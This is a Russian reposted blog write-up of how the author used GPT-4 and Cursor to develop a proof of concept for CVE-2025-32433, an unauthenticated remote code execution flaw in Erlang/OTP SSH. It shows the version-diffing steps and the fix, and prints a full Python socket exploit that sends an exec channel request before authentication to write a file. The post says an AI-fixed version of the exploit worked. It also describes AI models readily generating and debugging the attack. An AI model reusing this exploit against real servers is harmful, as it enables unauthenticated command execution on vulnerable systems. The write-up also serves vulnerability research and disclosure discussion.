Как я использовал ИИ для создания рабочего эксплойта для CVE-2025-32433 до появления публичных PoC

МЕНЮ


Главная страница
Поиск
Регистрация на сайте
Помощь проекту
Архив новостей

ТЕМЫ


Новости ИИРазработка ИИВнедрение ИИРабота разума и сознаниеМодель мозгаРобототехника, БПЛАТрансгуманизмОбработка текстаТеория эволюцииДополненная реальностьЖелезоКиберугрозыНаучный мирИТ индустрияРазработка ПОТеория информацииМатематикаЦифровая экономика

Авторизация



RSS


RSS новости


Написание доказательства концепции для CVE-2025-32433

Давайте отправимся в небольшое путешествие.

Я пью кофе, листаю Твиттер, и вот он — этот твит от Horizon3:

 https://x.com/Horizon3Attack/status/1912945580902334793

У них есть доказательство концепции CVE-2025-32433. Они говорят, что это было «удивительно легко». Но они не отказались от кода. Хм.

Естественно, я подумал: если это так просто... может ли ИИ просто написать это за меня?

? Эксплойты, управляемые искусственным интеллектом?

Оказывается — да, вроде как может.

GPT-4 не только понял описание CVE, но и выяснил, какой коммит внес исправление, сравнил его со старым кодом, нашел различие, обнаружил уязвимость и даже написал доказательство концепции. Когда это не сработало? Он его отладил и тоже исправил.

Давайте расскажем, как я туда попал.

? Первоначальная подсказка

Первое, что я сделал, это взял код вывода Python в анимированном GIF Horizon. Это было немного, но было полезно отдать руку GPT.

Твит Horizon3

Небольшой толчок в правильном направлении никогда не повредит.

? Поиск версий

Далее: я проверил официальную рекомендацию Erlang на GitHub, чтобы найти как затронутую версию, так и исправленную.

Затронутые и исправленные версии

Я знал, что захочу сравнить эти версии. Итак, я дал GPT эту базовую подсказку, и вот что она выдала:


? git checkout OTP-27.3.1 mkdir -p ../ssh_5_2_9 cp -a lib/ssh/* ../ssh_5_2_9/ # Checkout the commit that introduces ssh-5.2.10 git checkout 71219a5123309c8cf66f929a19a100a242e15681 mkdir -p ../ssh_5_2_10 cp -a lib/ssh/* ../ssh_5_2_10/

В нем даже объяснялось, что происходит на каждом этапе. Полезный! На тот момент у меня было два снимка: ssh_5_2_9 (уязвимый) и ssh_5_2_10 (пропатченный). Время для дифференциации.

? diff.py — Наш археолог кода

GPT дал мне этот маленький, но мощный скрипт на Python для рекурсивного сравнения двух версий:


import os import difflib def get_source_files(base_dir): return { os.path.relpath(os.path.join(root, f), base_dir): os.path.join(root, f) for root, _, files in os.walk(base_dir) for f in files if f.endswith((".erl", ".hrl")) } def safe_readlines(path): for enc in ("utf-8", "latin-1"): try: with open(path, "r", encoding=enc) as f: return f.readlines() except UnicodeDecodeError: continue return None def compare_versions(dir1, dir2): files1, files2 = get_source_files(dir1), get_source_files(dir2) common = sorted(set(files1) & set(files2)) diffs = { path: list(difflib.unified_diff( safe_readlines(files1[path]), safe_readlines(files2[path]), fromfile=f"{os.path.basename(dir1)}/{path}", tofile=f"{os.path.basename(dir2)}/{path}")) for path in common if safe_readlines(files1[path]) and safe_readlines(files2[path]) } return diffs # Run diff and print results base1, base2 = "../ssh_5_2_9", "../ssh_5_2_10" diffs = compare_versions(base1, base2) print(" ? Changed Files Between SSH 5.2.9 and 5.2.10 (Recursive):") print("---------------------------------------------------------") for f, lines in diffs.items(): print(f"{f}: {len(lines)} changed lines") print(" ? Full Diffs for All Changed Files: ") print("=====================================") for f, lines in diffs.items(): print(f" --- {f} --- {''.join(lines)}")

Этот скрипт перебирает все файлы .erl и .hrl, сравнивает их построчно и выводит как сводку, так и полную унифицированную разницу.

Итак, мы получили длинный список различий, которые выглядели примерно так:


....omitted for brevity... +early_rce(Config) -> + ... + TypeReq = "exec", + DataReq = <<?STRING(<<"lists:seq(1,10).">>)>>, + ... + {send, SshMsgChannelRequest}, + {match, disconnect(), receive_msg} ....omitted for brevity...

Да, это было грандиозно. Я не буду вставлять все это здесь, потому что мы будем прокручивать вечно.

Так что (и вы, вероятно, предвидели это)... Я отдал его в ChatGPT и просто сказал:

«Эй, можешь ли ты сказать мне, что вызвало эту уязвимость?»

GPT Найди ошибку!

? Взгляд GPT: на самом деле проницательный

GPT не просто догадывался. В нем объясняется, почему возникла уязвимость, а также объясняется изменение логики, которое ввело защиту от неаутентифицированных сообщений — защиту, которой раньше не существовало.

Вот соответствующий патч, который это исправил:


+handle_msg(Msg, Connection, server, Ssh = #ssh{authenticated = false}) -> + %% RFC4252 Section 6: Reject protocol messages before authentication. + MsgFun = fun(M) -> + MaxLogItemLen = ?GET_OPT(max_log_item_len, Ssh#ssh.opts), + io_lib:format("Connection terminated. Unexpected message for unauthenticated user." + " Message: ~w", [M], + [{chars_limit, MaxLogItemLen}]) + end, + ?LOG_DEBUG(MsgFun, [Msg]), + {disconnect, {?SSH_DISCONNECT_PROTOCOL_ERROR, "Connection refused"}, handle_stop(Connection)};

Бум. Вот в чем ключ. До этого патча неаутентифицированные пользователи могли отправлять созданные SSH-сообщения — и сервер не останавливал их.

Теперь мы знали, что сломано. Мы знали, как это исправить. Все, что осталось? Активируйте его.

? GPT предлагает варианты (потому что, конечно, так и было)

Классический ход GPT — он спросил меня:

"Хотите полноценный клиент PoC? Демо в стиле Metasploit? Пропатченный SSH-сервер для дальнейшей трассировки?»

Да. Всё это. Давайте начнем с PoC.

? Первое доказательство концепции (PoC)

Вот что сгенерировал GPT. Это был просто скрипт сокета Python, который пытается открыть канал и отправить команду до завершения аутентификации.


import socket import struct HOST = "127.0.0.1" # Change to vulnerable SSH server IP PORT = 2222 # Change to correct SSH port # Utilities def string_payload(s): s_bytes = s.encode("utf-8") return struct.pack(">I", len(s_bytes)) + s_bytes def build_channel_open(channel_id=0): return ( b"x5a" + # SSH_MSG_CHANNEL_OPEN string_payload("session") + struct.pack(">I", channel_id) + # sender channel struct.pack(">I", 0x68000) + # initial window size struct.pack(">I", 0x10000) + # max packet size b"" ) def build_channel_request(channel_id=0, command="file:write_file("/lab.txt", <<"pwned">>)."): payload = ( b"x62" + struct.pack(">I", channel_id) + string_payload("exec") + b"x01" + string_payload(command) ) return payload def build_kexinit(): cookie = b"x00" * 16 def name_list(l): return string_payload(",".join(l)) return ( b"x14" + cookie + name_list(["diffie-hellman-group14-sha1"]) + name_list(["ssh-rsa"]) + name_list(["aes128-ctr"]) * 2 + name_list(["hmac-sha1"]) * 2 + name_list(["none"]) * 2 + name_list([]) * 2 + b"x00" + struct.pack(">I", 0) ) # Step-by-step protocol with socket.create_connection((HOST, PORT)) as s: print("[*] Connecting to SSH server...") s.sendall(b"SSH-2.0-OpenSSH_8.9 ") banner = s.recv(1024) print(f"[+] Received banner: {banner.strip().decode(errors='ignore')}") print("[*] Sending KEXINIT...") kex_packet = build_kexinit() kex_len = struct.pack(">I", len(kex_packet) + 1) kex = kex_len + b"x0a" + kex_packet + b"x00" * 6 s.sendall(kex) print("[*] Sending channel_open...") chan_open = build_channel_open() chan_len = struct.pack(">I", len(chan_open) + 1) s.sendall(chan_len + b"x0a" + chan_open + b"x00" * 6) print("[*] Sending channel_request with exec payload...") chan_req = build_channel_request(command='file:write_file("/lab.txt", <<"pwned">>).') req_len = struct.pack(">I", len(chan_req) + 1) s.sendall(req_len + b"x0a" + chan_req + b"x00" * 6) print("[?] Exploit sent. If target was vulnerable, it attempted to write /lab.txt.")

? Отладка с помощью курсора

Здесь нет ничего удивительного: первоначальный код не работал.

Поэтому я развернулся. Поскольку код становился все более сложным, я открыл Курсор, загрузил код, открыл терминал и просто спросил:

«Исправить код PoC?»

Курсор... Или опытный хакер?

Подробного руководства нет. Никаких ограничений. Только терминал для разработчиков, сломанный скрипт и обнадеживающая подсказка.

К моему удивлению?

Оно работало.

GPT (через Cursor и Sonnet 3.7) исправил проблемы, изменил сообщения протокола и заставил его работать.

Выполнение CVE

Я запустил исправленную версию, и она успешно записала в /lab.txt на моей тестовой системе. Чистый, рабочий, полностью сгенерированный искусственным интеллектом эксплойт для CVE, у которой в то время не было публичного PoC.

? Заключительные мысли

Ну вот. От -> твита до копания в диффах -> до полного PoC-эксплойта — и все это без предварительного публичного кода, с которого можно начать. И большая часть этого делается искусственным интеллектом.

Дикий.

Это поднимает некоторые серьезные вопросы о том, как быстро ИИ может помочь в исследовании уязвимостей — или даже автоматизировать целые его части. Мы наблюдаем за тем, как оживает новая эра инструментов безопасности.

То, что начиналось как любопытство по поводу твита, превратилось в глубокое исследование того, как ИИ меняет исследования уязвимостей. Несколько лет назад этот процесс потребовал бы специальных знаний Erlang и часов ручной отладки. Сегодня потребовалась вторая половина дня с правильными подсказками.

Хорошо это или вызывает беспокойство? Вероятно, и то, и другое. Это демократизирует исследования в области безопасности, потенциально снижая барьер для разработки эксплойтов. Но именно поэтому ответственное раскрытие информации и совместные методы обеспечения безопасности важны как никогда.

Огромное спасибо Horizon3 и Фабиану Боймеру за ответственное раскрытие этой уязвимости. Их работа продолжает делать сообщество безопасности сильнее.

P.S Для тех из вас, кому интересно, да, этот пост в блоге также был написан ChatGPT :finger-guns:


Источник: platformsecurity.com

Комментарии: